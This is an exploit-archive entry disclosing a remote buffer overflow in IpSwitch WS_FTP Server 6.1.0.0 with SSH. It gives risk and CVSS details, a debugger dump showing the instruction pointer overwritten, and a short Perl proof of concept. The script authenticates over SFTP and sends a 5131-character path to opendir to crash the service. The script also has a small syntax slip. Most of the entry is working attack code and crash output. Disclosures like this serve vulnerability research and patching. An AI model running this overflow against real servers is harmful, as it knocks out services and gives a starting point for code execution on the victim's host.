IpSwitch WS_FTPSERVER with SSH remote Buffer Overflow

2008.02.05
Credit: securfrog
Risk: High
Local: Yes
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#IpSwitch WS_FTPSERVER with SSH remote Buffer Overflow # # Website:http://www.wsftp.com/products/ws_ftp_server/ # # Version:6.1.0.0 ( last one,others might be vuln too ) # # Bug: Remote Buffer Overflow ( CD) # # (8e8.a78): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000000 ebx=00000000 ecx=00410041 edx=7c9137d8 esi=00000000 edi=00000000 # eip=00410041 esp=04b8c830 ebp=04b8c850 iopl=0 nv up ei pl zr na po nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 # 00410041 ?? ??? # # #Here's the PoC : use strict; use Net::SSH2; my $ip="127.0.0.1"; my $port=22; my $user="USERNAME"; my $pass="PASSWORD"; my $ssh2 = Net::SSH2->new(); my $payload ="A" x 5131; $ssh2->connect($ip, $port) || die "could not connect"; $ssh2->auth_password($user,$pass)|| die "wrong passwd/login"; print "Poc running ...\n"; my $sftp = $ssh2->sftp my $dir = $sftp->opendir($payload); print "Buffer Overflow Successfull\n"; $ssh2->disconnect(); exit;


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